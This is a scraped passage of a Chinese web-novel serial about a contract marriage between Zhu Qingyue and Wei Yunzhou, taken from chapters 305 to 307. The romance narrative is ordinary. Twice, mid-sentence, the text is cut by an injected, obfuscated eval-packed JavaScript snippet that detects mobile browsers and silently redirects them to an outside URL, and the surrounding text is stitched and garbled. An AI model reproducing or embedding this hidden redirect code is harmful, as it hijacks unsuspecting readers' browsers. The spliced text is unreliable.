“你不是还有件西装吗?先穿着吧。”魏云舟理直气壮。 “真空啊?”**又吓呆了,“我的二少爷,我这样的身材穿真空西装合适吗?” 祝卿月一不小心和**对上了视线,想象了一下对方穿真空西装后,咬着唇撇过了脸。 魏云舟淡淡瞥了她一眼:“还笑,不是因为你?” “是是是。”祝卿月小鸡啄米似的点头,“我的错。” “还有它。”魏云舟指了指纸袋里面的猫。 祝卿月忙不迭也点了头:“等送它去了宠物医院,就不碍你的眼了。” 魏云舟让**升了隔板,静静等了一会儿,后车门被人敲响,真空**给魏云舟递了白衬衫过来。 祝卿月连忙撇开眼,生怕对着**委屈的表情笑出来。 魏云舟接过衣服,当着祝卿月的面直接解了扣子。 “你等一下。”祝卿月下意识拉住车门把手,“等我下去你再脱。” 魏云舟指了指腕表:“我下午一点有会,中午还得抽空见个客户。” 祝卿月无力反驳,只能挡着自己的脸不去看他。 魏云舟快速脱了自己的衬衫,换好后将自己的衬衫递给了祝卿月:“等你最后五分钟。” 这句话隐隐带着警告,祝卿月接过衣服,确认他下了车才将自己的衣服换了。 魏云舟很高,衬衫穿在祝卿月身上空空荡荡,她只能卷起来塞进裤腰。 衬衫还带着对方的体温,祝卿月莫名红了脸。 生怕魏云舟等急了,祝卿月拍了拍自己的脸,甩着唱大戏的袖子推开了车门。 祝卿月尴尬地对魏云舟笑了声:“衣服太大了。” 魏云舟上前,示意她抬起手。 祝卿月不知道他要干什么,只能乖乖地抬起来。 魏云舟在祝家是能给她大伯脸色看的人,祝卿月知道自己轻易不能得罪。 以后他就是她要共度一生的人,她听说魏家的家庭氛围很好,即便他们没有爱,她也会得到应有的尊重。 所以她妈妈才会不惜一切代价替她保住这桩婚姻。 只因在联姻洽谈期间,她堂妹祝雨欣污蔑她和“前男友”藕断丝连。 好在魏云舟不是听风就是雨的人,也是因为这一点,她才对这个联姻对象稍稍改观。 毕竟她也就见过他两次,每次见面他都在打电话训人,语气苛刻,神情不耐。 魏云舟一板一眼将祝卿月的袖子卷了上去,一点不美观,可见他没做过这种事。 祝卿月眉眼舒展,唇边噙着笑意:“好了,进去吧。” 民政局门口的绿植都被晒得蔫巴巴的,魏云舟一心只想快点领证,侧眸示意祝卿月跟上。 今天民政局的人不算多,两人按照流程走,拍照的时候,摄影师一个劲让他俩往中间靠。 祝卿月见魏云舟没动,主动靠了过去,摄影师这才按下快门。 宣誓环节直接省了,拿到结婚证后,魏云舟将祝卿月送去了宠物店。 他看了眼时间,说:“我要来不及了。” “没事,你先走吧,我待会儿自己打车。”祝卿月说,“就是……我晚上住哪儿啊?” “住枫丹公馆去,”魏云舟说,“我已经跟管家打过招呼,你人直接过去就行。” “好。” 魏云舟走后,程逾将小猫带去了宠物医院。 它身上太脏,祝卿月怕它有病,只能暂时交给宠物医院。 小猫虚弱地叫了声,祝卿月笑了笑:“你等一等我吧,我去跟他商量一下,如果你干干净净的没有生病,我再来接你。” 小猫不知道是不是听懂了,没再叫了。 祝卿月下午还有事,从宠物医院出来后直接回了家。 “月月。” 一位中年女性才从台阶上迎了下来,她是祝卿月的母亲谢莹。 “妈。” “云舟呢?”谢莹往她身后看了眼,“他没跟你一起回来?” 祝卿月还没说话,一声奚落传了过来:“看来魏云舟也不喜欢你啊,应该是看你脾气软,好拿捏吧。” 来人双手抱臂,高高在上,是祝卿月的堂妹祝雨欣。 祝卿月说:“他见客户去了,很重要。” “哼,就别给自己挽尊了吧。”祝雨欣忍不住酸,“谁不知道魏云舟冷心冷情的,除了家人,他把谁放在眼里过?你不过就是一枚联姻的棋子,还指望他对你多尊重吗?” 祝卿月嘴巴刚动,被谢莹拉住了胳膊。 见母女俩没动静,祝雨欣觉得没意思,白眼一翻,回了屋里。 “妈,为什么不让我说话?” “吵赢了又怎么样?”谢莹无奈地笑了声,“倒是你啊,既然已经嫁了过去,就得把人的心也抓住了,你现在唯一能依靠的只有他。” 祝卿月其实反感这样的依靠法则,但是她目前确实没有叫嚣的资本。 为了安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757095|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢莹的心,她只能宽慰道:“知道了。” “你别敷衍。”谢莹最了解女儿,“去年你大伯要把你嫁给王家,我想尽了办法让你装病躲过去一劫,今年我为什么会松口,还不是魏家是个好去处。” 祝卿月对魏家的男人当然有所耳闻,但她其实是不信的。 自小,她就见惯了虚情假意的婚姻。 男人在外面都比较能演,为了公司和家族的名誉,装也得装出一副爱妻的模样。 其实私底下乱七八糟,各种肮脏的事情都做了。 魏云舟也是男人,怎么就会例外? 但这并不妨碍她利用他达到自己的目的,最起码,要让她的妈妈在祝家能够好过一点。 最好是能把她妈妈接出来,脱离祝家,独自生活。 “我真的知道了,我会好好做他的妻子,做魏家的儿媳,不会给您丢人的。” “我不重要,你幸福自由就好了。” “妈,再等等吧,会走出去的。” 谢莹其实已经不抱希望,已经等了好多年了,这条路是她自己选的,她不后悔。 当初她丈夫去世的时候,月月还小。 祝家是给了她选择的,要是选自由,就要把孩子留下,要是选择孩子,一辈子都得做祝家的儿媳。 谢莹选了祝卿月。 “不要紧,已经这么多年了,妈已经习惯了。”谢莹和她边走边聊,“今天云舟忙,我就不说什么了,改天带云舟回来吃饭。” “知道了,我回来是收拾行李的,今晚搬去他那儿。” “给你收拾好了。” “谢谢妈。” 下午五点左右,祝卿月带着行李,被司机送到了枫丹公馆。 枫丹公馆在城市核心低密居住区,建筑面积大概三百多平,含地下也就三层。 管家很早迎在门口,接到祝卿月后,毕恭毕敬请她去休息。 “不急,要不给我介绍一下,或者我四处看看。” “我带您看吧,这边一层是公共活动区,日常起居和待客区是分开来的……” 管家介绍得很细致,入户前厅之后就是前厅和客厅,装修风格是中式为地基。 魏云舟今年才26吧,竟然喜欢这种风格。 进了挑高客厅,祝卿月一眼就被玄关正对的端景台上的木雕吸引了。 那是一对相对而立的大象,姿态沉稳憨厚,四肢粗壮有力。 “您喜欢这个物件?”管家问。 祝卿月不自觉点了头:“看着像浮雕和透雕的结合工艺。” “您也懂?” “我不懂。”祝卿月说,“只是了解一些。” 因为魏云舟的母亲和大嫂是黄杨木雕的传承人,她特意去了解的。 “这是程女士雕刻的,当初先生搬过来时,他们夫妻特意送来的乔迁礼。” 祝卿月知道魏云舟的大嫂姓程,他的父母她见过,大哥大嫂还未见过。 管家带着她逛了一圈后,将人送进了三楼的新房。 祝卿月一时愣住,转头指了指床铺:“今晚我住这儿吗?” 这话问的管家一愣:“您不是已经和先生领证了吗?” “哦,对。”祝卿月也尴尬了一瞬,“我一时没反应过来,忘了。” “没关系,您先歇着吧,先生晚上回来吃饭。” “好。” 管家走后,祝卿月看着灰冷色的床铺愣神。 她就这么结婚了? 管家说魏云舟晚上会回来吃饭,正好跟他聊聊联姻的事。 他应该也适应不了跟一个陌生人同床共枕吧。 当然,祝卿月知道他俩是不会离婚的,只是这样太快了些,最起码要给她一点时间缓冲一下。 还有生孩子这件事…… 她最怕这件事谈不拢,联姻的事是魏云舟的姑姑和她大伯谈的。 她相当于和魏云舟见了两面就把婚事定了下来。 乱七八糟的想法都从脑子里过了一遍,祝卿月挨着床边坐了会儿,随后去了露台等魏云舟。 天色在八点左右才正式暗下来,祝卿月百无聊赖盯着大门的方向,直至一束车灯拐了进来。 她顿了下,转头就往楼下跑去。 一定是魏云舟回来了。 第305章 先婚后爱(2) 祝卿月从三楼跑下来,出了大门还有几步台阶。 车辆正好在屋前停住,魏云舟下了车。 人在屋檐下,祝卿月敛下目光,迎了上去,可能是太过紧张,也可能是和这里的台阶还不够熟悉,她脚下一歪,跨了两个台阶。 眼看着踩到边缘要摔倒,她下意识抓住了到了跟前的魏云舟的肩膀,和他大眼瞪小眼。 魏云舟双手掌住她的腰,让她在台阶上站好。 祝卿月干笑了声:“你回来了。” “嗯。”魏云舟颔首,“东西都搬来了?” “搬过来了。”祝卿月微抿着唇,语气有些低落。 “离开家不习惯?”魏云舟上了台阶,抬手抵住她后腰,将她往台阶上带着往屋里走。 “没有不习惯,反正那个家里——”似乎意识到这样的行为并不好,祝卿月及时住了口,开始转移话题,“晚饭已经好了。” 魏云舟看了她两秒,“嗯”了声:“吃饭吧。” 两个人,六道菜,但每碟子的份量很少。 魏云舟实在**静了,惹得祝卿月也不敢说话。 她只能偶尔抬起头打量新婚丈夫两眼。 吃完饭,魏云舟去了客厅,祝卿月有点好奇,跟了上去。 佣人开了电视,就在她以为播放的是什么财经频道时,偌大的屏幕上出现了一张和魏云舟有几分相似的脸。 祝卿月虽然没见过孟竞帆,但当初两家商谈时,她有搜索过。 更何况去年,孟竞帆拿了金月影帝的奖杯。 “杵在那儿干什么?”也许是祝卿月打扰了魏云舟看电视,他抬眸瞥了眼她,“想看就过来坐着。” 毕竟以后还要靠这位老板脱离祝家,祝卿月坐了过去,想到母亲说的要抓住他的心,她故意往他身边靠了靠,几乎贴在了一起。 温度会传染,室内低温,说实话,祝卿月有点冷。 隔着西装裤,魏云舟也感受到了一丝凉。 他对佣人招了招手:“去三楼衣帽间将那件香槟色的薄毯拿下来。” 佣人应一声上楼去了。 祝卿月可没自恋到以为是给自己的,坐在一旁一言不发。 电视里播放的显然是孟竞帆的电影,魏云舟太忙,一部电影都会分几天才能看完。 佣人取了毛毯,径自递给了魏云舟。 魏云舟不耐地蹙眉:“给她,你们怎么照顾人的?家里温度重新调一下。” “是、是,我这就去。”佣人结巴了下。 “谢谢。”祝卿月迟疑地用毛毯盖住自己,视线根本无法从魏云舟的侧脸上收回来。 竟然真的是给她的,还为她训了人。 其实这不能怪别人,她初来乍到,别人也得有个时间了解一下她的生活习性。 但魏云舟注意到了她的冷,这一点其实很容易被忽略。 电影暂停,魏云舟撇过脸问她:“你回家是不是遇到什么事了?” 你可终于问了,祝卿月抓了下毯子,朝他摇了摇头:“没事。” 没事这么委屈干什么? 魏云舟将自己的手机递过去:“把你妈妈的号码给我。” 祝卿月将谢莹的号码输了进去。 魏云舟拿过手机起身:“我打个电话。” 祝卿月望着他的背影,浅浅露了个笑。 就在这时,她的手机也响了起来,是她的好友丁怡。 “月月,你真结婚了?”丁怡看着祝卿月发给自己的结婚证,好半天都没反应过来。 “结了啊,你怎么现在才回复?” “我都快忙**,刚看到手机的信息。” 祝卿月说:“我都搬到枫丹公馆了。” “你老公怎么样?”丁怡有些担心她,“他对你怎么样?” 祝卿月回:“目前来看挺好的,话不多,但修养是足够的,好像很忙。” “忙也正常,那么大公司呢。”丁怡说,“我过两天回z市,到时候出来喝酒。” 祝卿月迟疑了下,丁怡便问:“怎么了?喝酒也不让吗?你是结婚不是坐牢。” “你知道我的情况。”祝卿月说,“等你回来再说吧,酒应该是喝不了的。” “行,回去再说。” 祝卿月刚挂断电话,谢莹的电话打了进来。 魏云舟必然跟谢莹通过讯了,祝卿月当即接起:“喂,妈。” “还习惯吗?”谢莹问。 “有什么不习惯的,总比在家里要好,晚上都不用锁门了。”祝卿月的语气陡然冷了许多。 谢莹也噤了声,半晌,她才道:“云舟给我打电话了。” 祝卿月恢复了一副纯良模样:“他跟您说了什么?” “说了你领证后回家的事,我本来不想说的,但他三言两语就把我的话套出来了,你大伯在餐厅发了脾气,雨欣哭着回房了。” 祝卿月没什么波动,祝雨欣哭两声的事,雷声大雨点小,不过最起码告知了家里魏云舟的态度,目前来说,是跟她站在一起的,也会主动去解决问题。 母女俩聊了几句就切断了通话,祝卿月看向玄关通道,魏云舟出去之后没再回来。 管家进门瞧见她伸长的脖子,说:“先生去书房处理事情了,您可以继续看电视。” 看出来祝卿月有点拘谨,管家说话尽量亲切着来。 祝卿月起身:“我不看了。” “那您早点休息。”管家说完,叫来了一个年纪稍大的保姆,“太太初来,你去三楼照顾一下。” “是。” 祝卿月对三楼的格局还没摸熟,这个时候确实需要一个人指引,她抱着毯子上了三楼。 保姆带着她,把每个区域都介绍了下。 三楼是完全独立的区域,隐私性极高,电梯直达,这里就是休息和放松的地方。 也就是说,魏云舟此刻在二楼工作。 保姆走了后,祝卿月去了浴室,她的衣服已经摆进了衣帽间,但一个柜子堪堪摆了三分之一。 她大多数衣服还在家里,过来只拎了一个箱子。 不知道魏云舟要忙到几点,祝卿月洗完澡回到卧室,一时不知道该怎么办。 他们的婚姻不是假的,是切切实实的,是她要给魏家生孩子的。 魏云舟今晚会……祝卿月下意识咬住指甲盖,脑子里在预想待会儿即将发生的各种各样的场景。 同时,她也在思考怎么躲过今晚。 魏云舟娶她可不是回来放着摆设的,但两个陌生人,上来就做那事……谁都放不开吧。 他应该能理解吧? 想的入神,魏云舟进门她都没察觉。 “你三岁啊?还啃手指头?” 祝卿月被吓了一跳,哆嗦了下看向来人:“你走路怎么没有声音?” “我穿着拖鞋能有什么声音。”魏云舟解开领带,“我去洗澡,你先睡吧,别站着了。” “哦。”祝卿月掀开被子,快速钻进了被窝。 魏云舟去了衣帽间,看到空空如也的衣柜时微怔,他当即给管家打了电话:“明天将三楼太太的衣柜填满。” 管家:“已经吩咐下去了。” “嗯。” 忙了一天,魏云舟泡了个澡,差点没在浴室睡着,等他出来时,祝卿月正对着他好似睡着了。 魏云舟看了眼时间,掀开被子躺上了床铺。 两人中间还能塞下两人,但被子就这么大,魏云舟扯了下,吓得祝卿月直接松手了。 “你还没睡?”魏云舟偏过头问。 “嗯。”祝卿月咬了下唇,尽量装得平静,“还早。” 确实还早,才十点。 魏云舟扯了下被子:“往中间来一点。” 祝卿月屏着呼吸往中间去了点,两人对上视线后又同时撇开了。 魏云舟也是第一次跟个异性睡同一张床,不习惯是有的,但两人领了证就是夫妻,他们家还没夫妻分床睡的习俗。 时间还早,两人都睡不着,干躺着怪尴尬的,魏云舟起身靠在床头,一副要谈心的架势,祝卿月也自觉地跟着坐了起来。 “你不用紧张,我这个人冷脸很多,但对家里人还不错。”魏云舟开门见山。 “我没有紧张。”祝卿月大眼睛瞅着他。 魏云舟视线下移,说:“被子快被你拽坏了。” 祝卿月身体一僵,松开了手。 “……我妈妈给我打电话了。”祝卿月睁着圆溜溜的眼睛看着他,她没有坐直身体,视觉上比魏云舟矮了很多。 但这样一来,从魏云舟的视角看去,她的表情和眼神也无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762604|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辜了很多。 紧接着,魏云舟问:“她跟你说了什么?” “你打电话给我妈是问我领证后回去的事吗?”祝卿月答非所问,“不管怎么样,还是要谢谢你,不过那些话我也不在意。” “不在意?”魏云舟的眉不经意地挑了下,“真的?” 不在意不会在他面前特意说出来,也不会一直用那双大眼睛无辜地盯着他。 就像雁清巷尾里的一只流浪猫,跟他要吃的都会提前卖个萌。 他心情不错,顺手帮一把的事。 更何况祝卿月是他的妻子,也轮不到别人去挑衅和置喙。 祝雨欣打的不是祝卿月的脸,而是他的脸。 怎么他一副“是真的就不管了”的语气,祝卿月掀眸,考虑了半刻,说: “因为都习惯了,她又有父母兄弟撑腰,不像我,但凡我有爸爸,我自然也就在意了。” 明知道有装的成分,魏云舟还是被她这句话击了一下。 因为提到父亲的那一秒,她的悲伤苦痛绝不是假的。 “那你就在意吧。”魏云舟说,“不是还有我。” 祝卿月眼眸一亮:“真的可以?” 怎么感觉她就要蹬鼻子上脸了呢,魏云舟稍敛神色:“你大伯还要看我脸色,你难道要看祝雨欣脸色?不丢我的脸吗?” “丢丢丢。”祝卿月忙不迭点头,“这可是你自己说的。” “我说的。”魏云舟又给她吃了一记定心丸。 祝卿月发现魏云舟哪有传闻中那么不近人情啊,这不是挺好的嘛。 卧室一时陷入寂静,祝卿月见他盯着自己,下意识抿了唇。 他什么意思啊? 魏云舟在看她的睡裙,纯白的,很漂亮,但在卧室光线的照射下,给人一种想要破坏的邪念。 祝卿月察觉到一丝危险,赶紧开口说:“过两天我朋友丁怡回来,说要约我出去……” 她的话只说了一半,其实也是试探。 魏云舟不解地看着她:“这种事为什么要跟我说?” “她……约我喝酒。”祝卿月盯着魏云舟的表情。 “喝酒不行。”魏云舟直接拒绝,“被拍到会很麻烦,会催生出各类**和争议性话题,比如新婚买醉、联姻无情……进而影响合作和股价。” 这算是给她解释了,祝卿月表示理解:“知道了。” “想喝酒?”魏云舟问。 祝卿月摇了摇头。 魏云舟说:“想喝酒家里多的是,可以约你朋友来家里玩。” 祝卿月没想把丁怡带回家,但人家一番好意,她心领了,说:“我知道了,时间不早了,睡觉吧。” 魏云舟关了灯,在她身边平整地躺下。 祝卿月不敢依旧正对着他,随后闭上了眼睛。 魏云舟觉得奇怪,他可以看出她对肢体接触的排斥,但偏偏又面对着他睡。 难道是讨好吗? 带着这点疑问,魏云舟睡着了。 祝卿月却在此时睁开了眼睛,借着室内微弱的灯光静静打量着近在咫尺的男人。 他的外貌无疑是优越的,遗传的都是父母的优点,既然不会限制她做什么,那是不是代表,宠物医院的小猫可以接回来? 还是过段时日吧,今天他答应了不少的要求,如果堆在一起,万一不耐烦了怎么办。 要沉住气,再多和魏云舟相处看看,等摸熟了才能更好地对症下药。 第一天无惊无险地度过,祝卿月的防备稍稍放松,拽着被子睡着了。 只是第二天起得特别早,刚过六点就醒了。 魏云舟还在睡,她轻手轻脚地起身洗漱,等她换好衣服,魏云舟也起了。 楼下的早餐已经准备好了,两人安静地用完早餐后,魏云舟擦了下嘴巴,说:“我上班去了。” 祝卿月想起白衬衫带过来还没还给他,连忙起身跟了上去。 魏云舟换了西装三件套,祝卿月从衣柜里将洗好熨好的白衬衫给他递过去。 魏云舟随手扔到中岛台,说:“让阿姨收拾吧。” 见他对着镜子打领带,祝卿月上前一步,那双手犹犹豫豫地抬起:“我、我来吧。” 魏云舟捏着领带的手一顿,看了她半晌,扯下来递了过去。 第306章 先婚后爱(3) 祝卿月捏住深灰色的真丝领带,踮起脚绕过他颈间。 魏云舟个子高,但人很不自觉,丝毫不知道低头配合。 祝卿月抬着的手都酸了,也愣是没吭一声。 她的指尖飞快地掠过他的衣领,将领带长的一端绕过短的那头,动作很熟练。 魏云舟突然想起祝雨欣说过的关于祝卿月的前男友。 难道是那时候学会的? “好了。”祝卿月抬眸,对上了一双黑得发沉的眼睛。 怎么了?她下意识后退一步。 魏云舟对着镜子检查了一遍,一言不发地转身走了,去上班了。 祝卿月自小看人脸色,几乎能断定,魏云舟不大高兴。 但她想不通,只当他喜怒无常。 **开了一段路后,从后视镜里小心翼翼问了句:“小魏总,您不开心啊?” **用“您”的话,一般是感觉到他真的不爽快。 魏云舟一怔:“我有吗?” **“嗯”了声:“很明显。” “不可能。”魏云舟下意识反驳,他有什么不开心的? **沉默着没接话。 魏云舟盯着**,忽然拿出手机给祝卿月打了个电话。 响了三声,祝卿月接了:“喂,是忘了什么东西吗?” “嗯。”魏云舟矜持地应了声,“给**买一套新衣服,赔他的衬衫。” “好的。” 祝卿月本来想问他什么时候有时间可以陪她回家吃顿饭,但话到嘴边,又咽了回去。 这位爷现在不高兴,要是拒绝她多尴尬啊。 祝卿月今天没事,从管家那里了解了下司机**,给**买了件衬衫,价格不高也不低。 晚上魏云舟回来的时候,她特地拿给他看了。 倒是惹得魏云舟一愣:“这些事你做主就好,不用知会我。” 他整天那么忙,哪有闲工夫处理这些鸡毛蒜皮的小事。 祝卿月点了点头,他这意思是他主外,她主内。 餐桌上,魏云舟问:“你朋友什么时候回来?” “后天。”祝卿月抬眸,不知道问这个干什么。 魏云舟从内侧口袋掏出一张黑色副卡推过去:“给你的,可以支持你一切的大额消费。” 祝卿月没动,魏云舟又往前推了下,她这才接过去:“知道了。” 视线一转,**出现在了咖啡厅的桌面上。 丁怡拿起来看了下,说:“从小到大,还没人给过你这东西吧?” 祝卿月点了点头:“家里会置办好一切,也有出门应酬的行头,卡里基本不会有多少钱。” 和祝雨欣的奢侈相比,她在祝家简直是乞丐。 “要不要试试限额多少?”丁怡跃跃欲试。 祝卿月眸光微动,说:“先花一笔出去看看吧。” 丁怡问:“你要买什么?” 祝卿月说:“魏云舟的奶奶寿辰快到了,买个礼物给老人家吧。” 丁怡说:“这有点难啊,老太太什么没见过,你打算花多少?” “一百万看看吧。”祝卿月说。 丁怡思考了会儿,道:“不算多,也不算少。” 祝卿月说:“我也不太了解他的家里人,中规中矩一些吧。” 和丁怡逛了一下午,祝卿月也没找到什么合适的礼物,她最后问了谢莹,谢莹让她别费事,说: “我这里有块布料,还是你爸爸当初送给我的,本来要给你当嫁妆的,我们一时间也没什么拿得出手的,就把这个拿过去吧。” “妈,那是你收藏了好多年的东西。”祝卿月惊愕。 “跟你的幸福相比,什么都不重要。”谢莹说,“听话。” 祝卿月沉默了,倔强的不想答应。 那块布料里的金线是纯金,常年不锈不腐,另外的材料就是上等的桑蚕丝。 搁在现在,半米的报价就能达到百万。 谢莹多了解自家闺女,在电话里好说歹说,将她劝了过去。 回家之前,祝卿月消费了将近两百万。 魏云舟收到消费信息的时候正在开会,看见信息,平静地瞥了眼。 晚上回到家的时候,祝卿月已经回来了。 “这么早?”魏云舟问在玄关等他的祝卿月。 祝卿月上前给他拿了公文包,说:“下午回去了一趟,丁怡有事先走了,我就回来了。” 魏云舟“嗯”了声:“我上楼换身衣服。” 祝卿月跟上去,衣帽间里堆满了她下午买的东西,有衣服有首饰,在地上散了一堆。 她观察着魏云舟的脸色,发现他好似没看见。 “不好意思,”祝卿月上前,“我还没来得及收拾。” 魏云舟垂眸看了眼散落在地上的各类奢侈品纸袋,问了句:“就买了这些?” “啊?”祝卿月微怔,“还不多吗?” 魏云舟说:“想买什么,或者家里缺什么你自己看着办。” 和她想象中的不太一样,祝卿月心里有些复杂。 她知道这点钱对魏云舟来说九牛一毛,但新婚妻子,在两人还算是陌生人的状态下刷卡200万,一般男人怎么都要问一句。 “还不走啊?要看着我换衣服?” 祝卿月醒过神,几乎落荒而逃。 经过两三晚的同床共枕,祝卿月已经没有了一开始的拘谨。 今晚魏云舟刚躺下,手机突然响了起来,还是视频邀请的声音。 祝卿月好奇地转过了头,谁大晚上开视频啊。 魏云舟接了:“哥。” 祝卿月一下坐了起来,是他家人? “新婚的感觉怎么样啊?”手机里传来一道爽朗的问候。 “呵……”魏云舟冷笑,“小鱼姐不在身边的感觉怎么样?” “滚吧你。”孟竞帆翻了个白眼,“哪壶不开提哪壶。” “不你先提的。” “我问你新婚怎么样,问错了?” “你新婚什么样,我就什么样。” “好啊,下礼拜把你媳妇带去雁清。” 魏云舟蹙眉:“忙得很,没空。” 兄弟俩还是对抗路来着,祝卿月在一旁没敢吱声。 “妈让我问问你,你俩打算什么时候办婚礼,她好准备。” 魏云舟这次没有顶嘴,说:“这件事我也不知道,得问问她的意见。” “好嘞,那你自己答复啊,我拍戏去了。” “好。” 魏云舟挂断电话后,转头问祝卿月:“你打算什么时候办婚礼?这种事我记得要准备很久,你有任何的要求可以和我妈说。” “能不办吗?”祝卿月举手,“我感觉你也没空。” “办了我自然有空。”魏云舟说,“不要怕麻烦,我妈也是动动嘴皮子,都有专门的人来处理跟进,你只要发表你的意见,告诉他们你喜欢什么就好。” 看他的样子是想办,祝卿月不再反驳了,说:“我也不懂,让妈看着办吧。” 魏云舟说:“这是你的婚礼,妈没有办法看着办。” 看来还需要她用心,祝卿月点了点头:“行,那我有空和妈沟通。” 魏云舟说:“爸妈礼拜天会来z市,到时候跟我去老宅吃饭。” “好。”祝卿月乖巧地应了声。 是不是他说什么她都说好,魏云舟突然有些好奇这个答案。 不过他并没问出口。 熄了灯,卧室陷入昏暗,两人酝酿了许久睡意都没能成功入睡。 魏云舟干巴巴道:“聊聊天吧,睡不着。” 祝卿月扭过脸,问:“我今天买了那么多东西,花了那么多钱,你不心疼吗?” “我为什么要心疼?”魏云舟没理解她问这个问题的含义,“赚钱不就是花的?” “你不怕我每天都花你两百万?” “我还以为两千万。”魏云舟笑了声,“我知道,你以前在祝家过得不算好。” 祝卿月说:“相比普通人,已经过得很好了。” 魏云舟回:“没什么可比性。” “魏云舟,你当初为什么选我当你老婆?” 魏云舟转头对上祝卿月的视线,说:“因为你最顺眼。” 就这个理由?祝卿月有些哭笑不得,她起初还怀疑过阴谋论呢。 得知大伯让她嫁给魏云舟的那一晚,她辗转反侧到天明。 “那以后你看我不顺眼了怎么办?” 魏云舟:“……” 爸妈说过,对妻子要温柔,要尊重,要多说话,不能忽视。 即便这个问题无聊透顶,没有丝毫的逻辑性,他还是勾了勾唇: “我们是利益共同体,顺不顺眼不重要,利益一致最重要。” “知道了。”祝卿月不可避免地有些失 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反正没事,祝卿月蹲在人家门口,在网上上传了小猫的照片,希望给它找个合适的领养者。 发完之后,祝卿月起身,刚要开车回家,手机疯狂地想了起来。 是她姑姑打来的电话,说谢莹落水了,让她赶紧回去一趟。 祝卿月一脚油门踩到了底。 回到家的时候,医生正好给谢莹检查完身体,祝卿月没办法冷静,一把抓住医生的胳膊:“我妈怎么样了?” “没事,没有生命危险。”医生连忙安抚她,“只是喉咙呛水,肯定不会舒服,这几天吃饭要注意一些,多多休息。” 祝卿月松了口气,谢莹一脸虚弱地抓住女儿的手,安慰道:“我没事。” “怎么回事?”祝卿月抖着唇瓣,“是他——” “不是。”谢莹打断祝卿月的话,“和雨欣发生了点矛盾,一不小心掉下池子里的。” 知道谢莹不想让她担心,也知道她不想让她惹事,祝卿月没再问,反倒是说: “好,我知道了,那你好好休息,我去厨房看看,让阿姨给做一些润喉的吃食。” 谢莹点了点头:“嗯。” 祝卿月出了卧室,表情陡然冷了下去,她找到一直照顾谢莹的阿姨,问她具体情况。 “三小姐叫了一堆人来家里玩,他们在池边说你的坏话,被太太听到了,没忍住上前理论了几句。” “然后她就把我妈推到水里了?” “说不上是故意的,只是不耐烦的拉扯中出了意外。” 要不是她嘴贱在先,她妈妈怎么可能去理论。 “按照医生的嘱咐做一点吃的给我妈送上去。”祝卿月吩咐道。 “好,知道了。” 祝卿月转头就往主楼去。 来势汹汹,祝雨欣从佣人那儿提前得到了消息,不知悔改地下了楼。 她知道祝卿月会找过来。 两人在楼梯口碰面,祝卿月冷声问道:“是你把我妈推下水池的?” “是又怎么样?”祝雨欣嗤笑,“你能拿我怎么办?” 祝卿月咬着牙,一把扯过她的手腕,将人拉去了卫生间,反锁了门。 “你要干什么?” 祝卿月拿起花洒开了冷水,对着祝雨欣拨了开关。 “啊……”祝雨欣尖叫,“祝卿月,你有病啊,赶紧给我关了。” “我妈被水呛了个半死,你也尝一下。” “你敢这样对我。”祝雨欣的尖叫声引来了不少佣人,他们拼命拍着浴室的门,让祝卿月住手。 祝乾回来,客厅乱糟糟的不说,竟然没有一个人迎接。 他尴尬地回眸对魏云舟笑了笑:“见笑了,都不知道去哪儿偷懒了。” 还不等魏云舟回答,里面跑出来一个佣人,看到祝乾时明显一愣。 祝乾气不打一处来:“慌慌张张的干什么?” 佣人连忙解释,往里指了指:“二小姐把三小姐关在卫生间里,一直用冷水在浇她。” “祝卿月?”魏云舟蹙眉问了声。 佣人点了点头。 “胡闹什么!”祝乾连忙小跑过去。 魏云舟眸光微变,也跟了过去。 第307章 先婚后爱(4) 祝乾在卫生间门口喊了几嗓子,里面的祝卿月无动于衷。 她大伯明显动怒了,但既然做了,就没有半途而废的道理。 “爸,救我……”祝雨欣浑身湿透像只落水狗,眼泪混合着妆容糊花了一张脸。 她紧紧闭着眼睛和嘴巴,抬手挡着冲击的水流:“祝卿月,我错了,你住手。” “错哪儿了?”祝卿月质问。 “我不该和小婶发生冲突,更不应该害她下水。” 祝乾拍着门:“祝卿月,祝雨欣,你俩别闹了,赶紧给我出来。” “爸。”祝雨欣一边哭一边往门边去。 祝卿月终于扔掉了花洒,祝雨欣跌跌撞撞去开了门。 看到魏云舟,她愣了下。 一开始她以为魏云舟要跟她结婚,心里是存过期待的,可这份期待被祝卿月打破了,让她的嫉妒如烈火般蔓延。 如今最狼狈的一面又被魏云舟看到,祝雨欣快要恨死祝卿月了。 魏云舟径自推开门,走了进去。 祝卿月薄薄一片,倔强又无力地站在湿掉的瓷砖上,看到魏云舟,她下意识抬手挡住了脸。 她的衣服被水花溅湿,头发上漂浮着一层水雾。 怎么感觉那双漂亮的大眼睛也起了雾。 “手放下来。”魏云舟脱掉西装外套,给她披上。 祝卿月拽住西装领口的边,问他怎么会过来。 “我来和你大伯谈点事,顺道看望一下岳母。” “看我妈?”祝卿月惊讶地看着他,“你来看我妈不跟我说吗?” “想着下次跟你一起回来的。”魏云舟有问有答,“既然你在,今晚留下吃饭吧。” “云舟啊,要不我们去书房谈?”祝乾尴尬地笑了声。 魏云舟微微偏头,说:“我先送我太太回房间换衣服,希望下来的时候,祝总给我一个解释。” “有什么好解释的。”祝雨欣不服气,“是她无理在先,小婶落水,也不是我故意的,她就这——” “你说什么?”祝乾转头看着女儿,“你把你小婶怎么了?” 